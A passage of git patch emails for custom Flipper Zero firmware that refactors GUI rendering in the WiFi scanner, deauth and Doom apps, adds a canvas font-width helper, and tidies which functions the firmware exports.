"z\12\66\302\207Q&\222\11\15{\14\314\302OI&\221ID\262\1|\7J\303\307\3\1}\15\314" + "\302\307L$\221Id\242\12\0~\11\36\332\217\350\20\222\0\0\0\0\4\377\377\0"; + /////// INIT STATE /////// static void wifi_scanner_app_init(SWiFiScannerApp* const app) { app->m_context = Undefined; @@ -153,8 +385,8 @@ int16_t dBmtoPercentage(int16_t dBm) { void DrawSignalStrengthBar(Canvas* canvas, int rssi, int x, int y, int width, int height) { int16_t percents = dBmtoPercentage(rssi); - u8g2_DrawHLine(&canvas->fb, x, y, width); - u8g2_DrawHLine(&canvas->fb, x, y + height, width); + //u8g2_DrawHLine(&canvas->fb, x, y, width); + //u8g2_DrawHLine(&canvas->fb, x, y + height, width); if(rssi != NA && height > 0) { uint8_t barHeight = floor((height / 100.f) * percents); @@ -177,10 +409,8 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { const char* strError = "Something wrong"; canvas_draw_str( canvas, - (u8g2_GetDisplayWidth(&canvas->fb) / 2) - - (canvas_string_width(canvas, strError) / 2), - (u8g2_GetDisplayHeight(&canvas->fb) / - 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + (128 / 2) - (canvas_string_width(canvas, strError) / 2), + (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, strError); } break; case WaitingForModule: @@ -192,10 +422,8 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { const char* strConnectModule = "Attach WiFi scanner module"; canvas_draw_str( canvas, - (u8g2_GetDisplayWidth(&canvas->fb) / 2) - - (canvas_string_width(canvas, strConnectModule) / 2), - (u8g2_GetDisplayHeight(&canvas->fb) / - 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + (128 / 2) - (canvas_string_width(canvas, strConnectModule) / 2), + (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, strConnectModule); } #endif @@ -208,26 +436,19 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { const char* strInitializing = "Initializing..."; canvas_draw_str( canvas, - (u8g2_GetDisplayWidth(&canvas->fb) / 2) - - (canvas_string_width(canvas, strInitializing) / 2), - (u8g2_GetDisplayHeight(&canvas->fb) / 2) - - (u8g2_GetMaxCharHeight(&canvas->fb) / 2), + (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), + (64 / 2) - (canvas_current_font_height(canvas) / 2), strInitializing); } } break; case ScanMode: { uint8_t offsetY = 0; uint8_t offsetX = 0; - canvas_draw_frame( - canvas, - 0, - 0, - u8g2_GetDisplayWidth(&canvas->fb), - u8g2_GetDisplayHeight(&canvas->fb)); + canvas_draw_frame(canvas, 0, 0, 128, 64); //canvas_set_font(canvas, FontPrimary); - u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); - uint8_t fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); + uint8_t fontHeight = canvas_current_font_height(canvas); offsetX += 5; offsetY += fontHeight; @@ -248,8 +469,8 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { furi_string_get_cstr(app->m_currentAccesspointDescription.m_bssid)); canvas_set_font(canvas, FontSecondary); - //u8g2_SetFont(&canvas->fb, u8g2_font_tinytim_tf); - fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + //canvas_set_custom_u8g2_font(canvas, u8g2_font_tinytim_tf); + fontHeight = canvas_current_font_height(canvas); offsetY += fontHeight + 1; @@ -276,24 +497,20 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { offsetY += fontHeight; offsetY -= fontHeight; - u8g2_SetFont(&canvas->fb, u8g2_font_courB08_tn); + canvas_set_custom_u8g2_font(canvas, u8g2_font_courB08_tn); snprintf( string, sizeof(string), "%d/%d", app->m_currentIndexAccessPoint, app->m_totalAccessPoints); - offsetX = u8g2_GetDisplayWidth(&canvas->fb) - canvas_string_width(canvas, string) - 5; + offsetX = 128 - canvas_string_width(canvas, string) - 5; canvas_draw_str(canvas, offsetX, offsetY, string); canvas_draw_frame( - canvas, - offsetX - 6, - offsetY - u8g2_GetMaxCharHeight(&canvas->fb) - 3, - u8g2_GetDisplayWidth(&canvas->fb), - u8g2_GetDisplayHeight(&canvas->fb)); + canvas, offsetX - 6, offsetY - canvas_current_font_height(canvas) - 3, 128, 64); - u8g2_SetFont(&canvas->fb, u8g2_font_open_iconic_arrow_2x_t); + canvas_set_custom_u8g2_font(canvas, u8g2_font_open_iconic_arrow_2x_t); if(app->m_currentIndexAccessPoint != app->m_totalAccessPoints) { //canvas_draw_triangle(canvas, offsetX - 5 - 20, offsetY + 5, 4, 4, CanvasDirectionBottomToTop); canvas_draw_str(canvas, offsetX - 0 - 35, offsetY + 5, "\x4C"); @@ -308,25 +525,21 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { uint8_t offsetY = 0; uint8_t offsetX = 0; - canvas_draw_frame( - canvas, - 0, - 0, - u8g2_GetDisplayWidth(&canvas->fb), - u8g2_GetDisplayHeight(&canvas->fb)); + canvas_draw_frame(canvas, 0, 0, 128, 64); //canvas_set_font(canvas, FontBigNumbers); - u8g2_SetFont(&canvas->fb, u8g2_font_inb27_mr); - uint8_t fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + //canvas_set_custom_u8g2_font(canvas, u8g2_font_inb27_mr); + canvas_set_custom_u8g2_font(canvas, u8g2_font_inb27_mr); + uint8_t fontHeight = canvas_current_font_height(canvas); uint8_t fontWidth = u8g2_GetMaxCharWidth(&canvas->fb); if(app->m_currentAccesspointDescription.m_rssi == NA) { - offsetX += floor(u8g2_GetDisplayWidth(&canvas->fb) / 2) - fontWidth - 10; + offsetX += floor(128 / 2) - fontWidth - 10; offsetY += fontHeight - 5; canvas_draw_str(canvas, offsetX, offsetY, "N/A"); } else { - offsetX += floor(u8g2_GetDisplayWidth(&canvas->fb) / 2) - 2 * fontWidth; + offsetX += floor(128 / 2) - 2 * fontWidth; offsetY += fontHeight - 5; char rssi[8]; @@ -335,12 +548,12 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { } //canvas_set_font(canvas, FontPrimary); - u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); - fontHeight = u8g2_GetMaxCharHeight(&canvas->fb); + canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); + fontHeight = canvas_current_font_height(canvas); fontWidth = u8g2_GetMaxCharWidth(&canvas->fb); offsetX = 5; - offsetY = u8g2_GetDisplayHeight(&canvas->fb) - 7 - fontHeight; + offsetY = 64 - 7 - fontHeight; canvas_draw_str( canvas, offsetX, @@ -358,12 +571,7 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { DrawSignalStrengthBar( canvas, app->m_currentAccesspointDescription.m_rssi, 5, 5, 12, 25); DrawSignalStrengthBar( - canvas, - app->m_currentAccesspointDescription.m_rssi, - u8g2_GetDisplayWidth(&canvas->fb) - 5 - 12, - 5, - 12, - 25); + canvas, app->m_currentAccesspointDescription.m_rssi, 128 - 5 - 12, 5, 12, 25); } break; case ScanAnimation: { uint32_t currentTime = furi_get_tick(); @@ -380,18 +588,15 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { canvas_draw_disc( canvas, offsetX + 30 + 25 * i, - u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 64 / 2 - 7, 5 * (app->m_animtaionCounter == i ? mutliplier : 1)); } - u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); + canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); //canvas_set_font(canvas, FontPrimary); const char* message = "Scanning"; canvas_draw_str( - canvas, - u8g2_GetDisplayWidth(&canvas->fb) / 2 - canvas_string_width(canvas, message) / 2, - 55, - message); + canvas, 128 / 2 - canvas_string_width(canvas, message) / 2, 55, message); } break; case MonitorAnimation: { uint32_t currentTime = furi_get_tick(); @@ -407,27 +612,24 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { canvas_draw_disc( canvas, offsetX + 30, - u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 64 / 2 - 7, 5 * (app->m_animtaionCounter == 0 ? mutliplier : 1)); canvas_draw_disc( canvas, offsetX + 55, - u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 64 / 2 - 7, 5 * (app->m_animtaionCounter == 1 ? mutliplier : 1)); canvas_draw_disc( canvas, offsetX + 80, - u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 64 / 2 - 7, 5 * (app->m_animtaionCounter == 0 ? mutliplier : 1)); - u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); + canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); //canvas_set_font(canvas, FontPrimary); const char* message = "Monitor Mode"; canvas_draw_str( - canvas, - u8g2_GetDisplayWidth(&canvas->fb) / 2 - canvas_string_width(canvas, message) / 2, - 55, - message); + canvas, 128 / 2 - canvas_string_width(canvas, message) / 2, 55, message); } break; default: break; diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 84d0beda8..937fa57d8 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -3036,13 +3036,13 @@ Function,-,subghz_protocol_decoder_power_smart_get_hash_data,uint8_t,void* Function,-,subghz_protocol_decoder_power_smart_get_string,void,"void*, FuriString*" Function,-,subghz_protocol_decoder_power_smart_reset,void,void* Function,-,subghz_protocol_decoder_power_smart_serialize,SubGhzProtocolStatus,"void*, FlipperFormat*, SubGhzRadioPreset*" -Function,+,subghz_protocol_decoder_princeton_alloc,void*,SubGhzEnvironment* +Function,-,subghz_protocol_decoder_princeton_alloc,void*,SubGhzEnvironment* Function,-,subghz_protocol_decoder_princeton_deserialize,SubGhzProtocolStatus,"void*, FlipperFormat*" -Function,+,subghz_protocol_decoder_princeton_feed,void,"void*, _Bool, uint32_t" -Function,+,subghz_protocol_decoder_princeton_free,void,void* -Function,+,subghz_protocol_decoder_princeton_get_hash_data,uint8_t,void* -Function,+,subghz_protocol_decoder_princeton_get_string,void,"void*, FuriString*" -Function,+,subghz_protocol_decoder_princeton_reset,void,void* +Function,-,subghz_protocol_decoder_princeton_feed,void,"void*, _Bool, uint32_t" +Function,-,subghz_protocol_decoder_princeton_free,void,void* +Function,-,subghz_protocol_decoder_princeton_get_hash_data,uint8_t,void* +Function,-,subghz_protocol_decoder_princeton_get_string,void,"void*, FuriString*" +Function,-,subghz_protocol_decoder_princeton_reset,void,void* Function,-,subghz_protocol_decoder_princeton_serialize,SubGhzProtocolStatus,"void*, FlipperFormat*, SubGhzRadioPreset*" Function,+,subghz_protocol_decoder_raw_alloc,void*,SubGhzEnvironment* Function,+,subghz_protocol_decoder_raw_deserialize,SubGhzProtocolStatus,"void*, FlipperFormat*" @@ -3261,11 +3261,11 @@ Function,-,subghz_protocol_encoder_power_smart_deserialize,SubGhzProtocolStatus, Function,-,subghz_protocol_encoder_power_smart_free,void,void* Function,-,subghz_protocol_encoder_power_smart_stop,void,void* Function,-,subghz_protocol_encoder_power_smart_yield,LevelDuration,void* -Function,+,subghz_protocol_encoder_princeton_alloc,void*,SubGhzEnvironment* +Function,-,subghz_protocol_encoder_princeton_alloc,void*,SubGhzEnvironment* Function,-,subghz_protocol_encoder_princeton_deserialize,SubGhzProtocolStatus,"void*, FlipperFormat*" -Function,+,subghz_protocol_encoder_princeton_free,void,void* -Function,+,subghz_protocol_encoder_princeton_stop,void,void* -Function,+,subghz_protocol_encoder_princeton_yield,LevelDuration,void* +Function,-,subghz_protocol_encoder_princeton_free,void,void* +Function,-,subghz_protocol_encoder_princeton_stop,void,void* +Function,-,subghz_protocol_encoder_princeton_yield,LevelDuration,void* Function,+,subghz_protocol_encoder_raw_alloc,void*,SubGhzEnvironment* Function,+,subghz_protocol_encoder_raw_deserialize,SubGhzProtocolStatus,"void*, FlipperFormat*" Function,+,subghz_protocol_encoder_raw_free,void,void* @@ -3457,7 +3457,7 @@ Function,-,u8g2_DrawExtendedUTF8,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, Function,-,u8g2_DrawFilledEllipse,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" Function,-,u8g2_DrawFrame,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" Function,-,u8g2_DrawGlyph,u8g2_uint_t,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, uint16_t" -Function,+,u8g2_DrawHLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" +Function,-,u8g2_DrawHLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" Function,-,u8g2_DrawHVLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" Function,-,u8g2_DrawHorizontalBitmap,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, const uint8_t*" Function,-,u8g2_DrawLine,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" @@ -3493,7 +3493,7 @@ Function,-,u8g2_SetBufferCurrTileRow,void,"u8g2_t*, uint8_t" Function,-,u8g2_SetClipWindow,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t" Function,-,u8g2_SetDisplayRotation,void,"u8g2_t*, const u8g2_cb_t*" Function,-,u8g2_SetDrawColor,void,"u8g2_t*, uint8_t" -Function,+,u8g2_SetFont,void,"u8g2_t*, const uint8_t*" +Function,-,u8g2_SetFont,void,"u8g2_t*, const uint8_t*" Function,-,u8g2_SetFontDirection,void,"u8g2_t*, uint8_t" Function,-,u8g2_SetFontMode,void,"u8g2_t*, uint8_t" Function,-,u8g2_SetFontPosBaseline,void,u8g2_t* @@ -4531,7 +4531,7 @@ Function,-,uxTaskGetStackHighWaterMark,UBaseType_t,TaskHandle_t Function,-,uxTaskGetStackHighWaterMark2,uint16_t,TaskHandle_t Function,-,uxTaskGetSystemState,UBaseType_t,"TaskStatus_t*, const UBaseType_t, uint32_t*" Function,-,uxTaskGetTaskNumber,UBaseType_t,TaskHandle_t -Function,+,uxTaskPriorityGet,UBaseType_t,const TaskHandle_t +Function,-,uxTaskPriorityGet,UBaseType_t,const TaskHandle_t Function,-,uxTaskPriorityGetFromISR,UBaseType_t,const TaskHandle_t Function,-,uxTaskResetEventItemValue,TickType_t, Function,-,uxTimerGetReloadMode,UBaseType_t,TimerHandle_t @@ -5234,7 +5234,7 @@ Variable,-,u8g2_font_7x13B_mn,const uint8_t[], Variable,-,u8g2_font_7x13B_mr,const uint8_t[], Variable,-,u8g2_font_7x13B_tf,const uint8_t[], Variable,-,u8g2_font_7x13B_tn,const uint8_t[], -Variable,+,u8g2_font_7x13B_tr,const uint8_t[], +Variable,-,u8g2_font_7x13B_tr,const uint8_t[], Variable,-,u8g2_font_7x13O_mf,const uint8_t[], Variable,-,u8g2_font_7x13O_mn,const uint8_t[], Variable,-,u8g2_font_7x13O_mr,const uint8_t[], @@ -5438,7 +5438,7 @@ Variable,-,u8g2_font_chroma48medium8_8n,const uint8_t[], Variable,-,u8g2_font_chroma48medium8_8r,const uint8_t[], Variable,-,u8g2_font_chroma48medium8_8u,const uint8_t[], Variable,-,u8g2_font_courB08_tf,const uint8_t[], -Variable,+,u8g2_font_courB08_tn,const uint8_t[], +Variable,-,u8g2_font_courB08_tn,const uint8_t[], Variable,-,u8g2_font_courB08_tr,const uint8_t[], Variable,-,u8g2_font_courB10_tf,const uint8_t[], Variable,-,u8g2_font_courB10_tn,const uint8_t[], @@ -5788,7 +5788,7 @@ Variable,-,u8g2_font_inb24_mn,const uint8_t[], Variable,-,u8g2_font_inb24_mr,const uint8_t[], Variable,-,u8g2_font_inb27_mf,const uint8_t[], Variable,-,u8g2_font_inb27_mn,const uint8_t[], -Variable,+,u8g2_font_inb27_mr,const uint8_t[], +Variable,-,u8g2_font_inb27_mr,const uint8_t[], Variable,-,u8g2_font_inb30_mf,const uint8_t[], Variable,-,u8g2_font_inb30_mn,const uint8_t[], Variable,-,u8g2_font_inb30_mr,const uint8_t[], @@ -6265,7 +6265,7 @@ Variable,-,u8g2_font_open_iconic_app_4x_t,const uint8_t[], Variable,-,u8g2_font_open_iconic_app_6x_t,const uint8_t[], Variable,-,u8g2_font_open_iconic_app_8x_t,const uint8_t[], Variable,-,u8g2_font_open_iconic_arrow_1x_t,const uint8_t[], -Variable,+,u8g2_font_open_iconic_arrow_2x_t,const uint8_t[], +Variable,-,u8g2_font_open_iconic_arrow_2x_t,const uint8_t[], Variable,-,u8g2_font_open_iconic_arrow_4x_t,const uint8_t[], Variable,-,u8g2_font_open_iconic_arrow_6x_t,const uint8_t[], Variable,-,u8g2_font_open_iconic_arrow_8x_t,const uint8_t[], From 03d8804209fcc73489430dfa6ab39fa37b5be2ef Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 22 May 2023 03:05:51 +0300 Subject: [PATCH 022/100] More API cleanup --- firmware/targets/f7/api_symbols.csv | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 937fa57d8..33d37ea52 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1048,12 +1048,12 @@ Function,+,furi_hal_bt_change_app,_Bool,"FuriHalBtProfile, GapEventCallback, voi Function,+,furi_hal_bt_clear_white_list,_Bool, Function,+,furi_hal_bt_dump_state,void,FuriString* Function,+,furi_hal_bt_ensure_c2_mode,_Bool,BleGlueC2Mode -Function,+,furi_hal_bt_get_conn_rssi,uint32_t,uint8_t* +Function,-,furi_hal_bt_get_conn_rssi,uint32_t,uint8_t* Function,-,furi_hal_bt_get_hardfault_info,const FuriHalBtHardfaultInfo*, Function,+,furi_hal_bt_get_key_storage_buff,void,"uint8_t**, uint16_t*" Function,+,furi_hal_bt_get_profile_adv_name,const char*,FuriHalBtProfile Function,+,furi_hal_bt_get_profile_mac_addr,const uint8_t*,FuriHalBtProfile -Function,+,furi_hal_bt_get_profile_pairing_method,GapPairing,FuriHalBtProfile +Function,-,furi_hal_bt_get_profile_pairing_method,GapPairing,FuriHalBtProfile Function,+,furi_hal_bt_get_radio_stack,FuriHalBtStack, Function,+,furi_hal_bt_get_rssi,float, Function,+,furi_hal_bt_get_transmitted_packets,uint32_t, @@ -1416,7 +1416,7 @@ Function,+,furi_hal_subghz_get_rssi,float, Function,+,furi_hal_subghz_get_timestamp_file_names,_Bool, Function,+,furi_hal_subghz_idle,void, Function,-,furi_hal_subghz_init,void, -Function,+,furi_hal_subghz_init_check,_Bool, +Function,-,furi_hal_subghz_init_check,_Bool, Function,+,furi_hal_subghz_init_radio_type,_Bool,SubGhzRadioType Function,+,furi_hal_subghz_is_async_tx_complete,_Bool, Function,+,furi_hal_subghz_is_frequency_valid,_Bool,uint32_t @@ -1436,8 +1436,8 @@ Function,+,furi_hal_subghz_set_external_power_disable,void,_Bool Function,+,furi_hal_subghz_set_frequency,uint32_t,uint32_t Function,+,furi_hal_subghz_set_frequency_and_path,uint32_t,uint32_t Function,+,furi_hal_subghz_set_path,void,FuriHalSubGhzPath -Function,+,furi_hal_subghz_set_rolling_counter_mult,void,uint8_t -Function,+,furi_hal_subghz_set_timestamp_file_names,void,_Bool +Function,-,furi_hal_subghz_set_rolling_counter_mult,void,uint8_t +Function,-,furi_hal_subghz_set_timestamp_file_names,void,_Bool Function,-,furi_hal_subghz_shutdown,void, Function,+,furi_hal_subghz_sleep,void, Function,+,furi_hal_subghz_start_async_rx,void,"FuriHalSubGhzCaptureCallback, void*" @@ -1654,7 +1654,7 @@ Function,-,gamma,double,double Function,-,gamma_r,double,"double, int*" Function,-,gammaf,float,float Function,-,gammaf_r,float,"float, int*" -Function,+,gap_get_remote_conn_rssi,uint32_t,int8_t* +Function,-,gap_get_remote_conn_rssi,uint32_t,int8_t* Function,-,gap_get_state,GapState, Function,-,gap_init,_Bool,"GapConfig*, GapEventCallback, void*" Function,-,gap_start_advertising,void, From aab4d2bd34fa2a630dc443c8b3d3286f4240704b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 22 May 2023 03:45:17 +0300 Subject: [PATCH 023/100] API CleanUp part 3 --- applications/external/doom/display.h | 2 +- .../external/esp8266_deauth/esp8266_deauth.c | 6 +- .../external/wifi_scanner/wifi_scanner.c | 6 +- applications/services/gui/application.fam | 1 - applications/services/gui/canvas.c | 5 + applications/services/gui/canvas.h | 8 + firmware/targets/f7/api_symbols.csv | 2901 +---------------- lib/SConscript | 1 - 8 files changed, 20 insertions(+), 2910 deletions(-) diff --git a/applications/external/doom/display.h b/applications/external/doom/display.h index cc9052acc..9695b5adf 100644 --- a/applications/external/doom/display.h +++ b/applications/external/doom/display.h @@ -90,7 +90,7 @@ void drawVLine(uint8_t x, int8_t start_y, int8_t end_y, uint8_t intensity, Canva void setupDisplay(Canvas* canvas) { memset(zbuffer, 0xff, 128); - display_buf = (uint8_t*)canvas_get_buffer(canvas); + display_buf = (uint8_t*)canvas->fb.tile_buf_ptr; //display_buf = u8g2_GetBufferPtr(&canvas->fb); } diff --git a/applications/external/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c index 07b7886c8..e0a966975 100644 --- a/applications/external/esp8266_deauth/esp8266_deauth.c +++ b/applications/external/esp8266_deauth/esp8266_deauth.c @@ -11,8 +11,6 @@ //#include //#include -#include - #include "FlipperZeroWiFiDeauthModuleDefines.h" #define DEAUTH_APP_DEBUG 0 @@ -192,8 +190,8 @@ static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ct #endif // ENABLE_MODULE_POWER break; case ModuleActive: { - uint8_t* buffer = canvas_get_buffer(canvas); - app->m_canvasSize = canvas_get_buffer_size(canvas); + uint8_t* buffer = canvas->fb.tile_buf_ptr; + app->m_canvasSize = gui_get_framebuffer_size(app->m_gui); memcpy(buffer, app->m_backBuffer, app->m_canvasSize); } break; default: diff --git a/applications/external/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c index 9dabc6a90..127bee0cd 100644 --- a/applications/external/wifi_scanner/wifi_scanner.c +++ b/applications/external/wifi_scanner/wifi_scanner.c @@ -11,8 +11,6 @@ #include #include -#include - #include "FlipperZeroWiFiModuleDefines.h" #define WIFI_APP_DEBUG 0 @@ -531,7 +529,7 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { //canvas_set_custom_u8g2_font(canvas, u8g2_font_inb27_mr); canvas_set_custom_u8g2_font(canvas, u8g2_font_inb27_mr); uint8_t fontHeight = canvas_current_font_height(canvas); - uint8_t fontWidth = u8g2_GetMaxCharWidth(&canvas->fb); + uint8_t fontWidth = canvas_current_font_width(canvas); if(app->m_currentAccesspointDescription.m_rssi == NA) { offsetX += floor(128 / 2) - fontWidth - 10; @@ -550,7 +548,7 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { //canvas_set_font(canvas, FontPrimary); canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); fontHeight = canvas_current_font_height(canvas); - fontWidth = u8g2_GetMaxCharWidth(&canvas->fb); + fontWidth = canvas_current_font_width(canvas); offsetX = 5; offsetY = 64 - 7 - fontHeight; diff --git a/applications/services/gui/application.fam b/applications/services/gui/application.fam index 193b9dfd3..869d964dd 100644 --- a/applications/services/gui/application.fam +++ b/applications/services/gui/application.fam @@ -14,7 +14,6 @@ App( "gui.h", "icon_i.h", "elements.h", - "canvas_i.h", "view_dispatcher.h", "view_stack.h", "modules/button_menu.h", diff --git a/applications/services/gui/canvas.c b/applications/services/gui/canvas.c index 057bd3e95..0786e8486 100644 --- a/applications/services/gui/canvas.c +++ b/applications/services/gui/canvas.c @@ -100,6 +100,11 @@ uint8_t canvas_current_font_height(const Canvas* canvas) { return font_height; } +uint8_t canvas_current_font_width(const Canvas* canvas) { + furi_assert(canvas); + return (uint8_t)u8g2_GetMaxCharWidth(&canvas->fb); +} + const CanvasFontParameters* canvas_get_font_params(const Canvas* canvas, Font font) { furi_assert(canvas); furi_assert(font < FontTotalNumber); diff --git a/applications/services/gui/canvas.h b/applications/services/gui/canvas.h index 9d8cf607f..7a2ae1873 100644 --- a/applications/services/gui/canvas.h +++ b/applications/services/gui/canvas.h @@ -120,6 +120,14 @@ uint8_t canvas_height(const Canvas* canvas); */ uint8_t canvas_current_font_height(const Canvas* canvas); +/** Get current font width + * + * @param canvas Canvas instance + * + * @return width in pixels. + */ +uint8_t canvas_current_font_width(const Canvas* canvas); + /** Get font parameters * * @param canvas Canvas instance diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 33d37ea52..3313f3ecd 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -5,7 +5,6 @@ Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, Header,+,applications/services/dialogs/dialogs.h,, Header,+,applications/services/dolphin/dolphin.h,, -Header,+,applications/services/gui/canvas_i.h,, Header,+,applications/services/gui/elements.h,, Header,+,applications/services/gui/gui.h,, Header,+,applications/services/gui/icon_i.h,, @@ -213,7 +212,6 @@ Header,+,lib/toolbox/stream/string_stream.h,, Header,+,lib/toolbox/tar/tar_archive.h,, Header,+,lib/toolbox/value_index.h,, Header,+,lib/toolbox/version.h,, -Header,+,lib/u8g2/u8g2.h,, Function,-,LL_ADC_CommonDeInit,ErrorStatus,ADC_Common_TypeDef* Function,-,LL_ADC_CommonInit,ErrorStatus,"ADC_Common_TypeDef*, const LL_ADC_CommonInitTypeDef*" Function,-,LL_ADC_CommonStructInit,void,LL_ADC_CommonInitTypeDef* @@ -632,6 +630,7 @@ Function,-,calloc,void*,"size_t, size_t" Function,+,canvas_clear,void,Canvas* Function,+,canvas_commit,void,Canvas* Function,+,canvas_current_font_height,uint8_t,const Canvas* +Function,+,canvas_current_font_width,uint8_t,const Canvas* Function,+,canvas_draw_bitmap,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, const uint8_t*" Function,+,canvas_draw_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" Function,+,canvas_draw_circle,void,"Canvas*, uint8_t, uint8_t, uint8_t" @@ -649,17 +648,10 @@ Function,+,canvas_draw_rframe,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, Function,+,canvas_draw_str,void,"Canvas*, uint8_t, uint8_t, const char*" Function,+,canvas_draw_str_aligned,void,"Canvas*, uint8_t, uint8_t, Align, Align, const char*" Function,+,canvas_draw_triangle,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, CanvasDirection" -Function,+,canvas_draw_u8g2_bitmap,void,"u8g2_t*, uint8_t, uint8_t, uint8_t, uint8_t, const uint8_t*, uint8_t" Function,+,canvas_draw_xbm,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, const uint8_t*" -Function,-,canvas_frame_set,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" -Function,-,canvas_free,void,Canvas* -Function,+,canvas_get_buffer,uint8_t*,Canvas* -Function,+,canvas_get_buffer_size,size_t,const Canvas* Function,+,canvas_get_font_params,const CanvasFontParameters*,"const Canvas*, Font" -Function,-,canvas_get_orientation,CanvasOrientation,const Canvas* Function,+,canvas_glyph_width,uint8_t,"Canvas*, char" Function,+,canvas_height,uint8_t,const Canvas* -Function,-,canvas_init,Canvas*, Function,+,canvas_invert_color,void,Canvas* Function,+,canvas_reset,void,Canvas* Function,+,canvas_set_bitmap_mode,void,"Canvas*, _Bool" @@ -667,7 +659,6 @@ Function,+,canvas_set_color,void,"Canvas*, Color" Function,+,canvas_set_custom_u8g2_font,void,"Canvas*, const uint8_t*" Function,+,canvas_set_font,void,"Canvas*, Font" Function,+,canvas_set_font_direction,void,"Canvas*, CanvasDirection" -Function,-,canvas_set_orientation,void,"Canvas*, CanvasOrientation" Function,+,canvas_string_width,uint16_t,"Canvas*, const char*" Function,+,canvas_width,uint8_t,const Canvas* Function,-,cbrt,double,double @@ -716,13 +707,6 @@ Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiI Function,+,composite_api_resolver_alloc,CompositeApiResolver*, Function,+,composite_api_resolver_free,void,CompositeApiResolver* Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* -Function,-,compress_alloc,Compress*,uint16_t -Function,-,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,compress_free,void,Compress* -Function,-,compress_icon_alloc,CompressIcon*, -Function,-,compress_icon_decode,void,"CompressIcon*, const uint8_t*, uint8_t**" -Function,-,compress_icon_free,void,CompressIcon* Function,-,copysign,double,"double, double" Function,-,copysignf,float,"float, float" Function,-,copysignl,long double,"long double, long double" @@ -2229,7 +2213,7 @@ Function,+,power_get_pubsub,FuriPubSub*,Power* Function,+,power_is_battery_healthy,_Bool,Power* Function,+,power_off,void,Power* Function,+,power_reboot,void,PowerBootMode -Function,+,power_trigger_ui_update,void,Power* +Function,-,power_trigger_ui_update,void,Power* Function,+,powf,float,"float, float" Function,-,powl,long double,"long double, long double" Function,+,pretty_format_bytes_hex_canonical,void,"FuriString*, size_t, const char*, const uint8_t*, size_t" @@ -3419,7 +3403,6 @@ 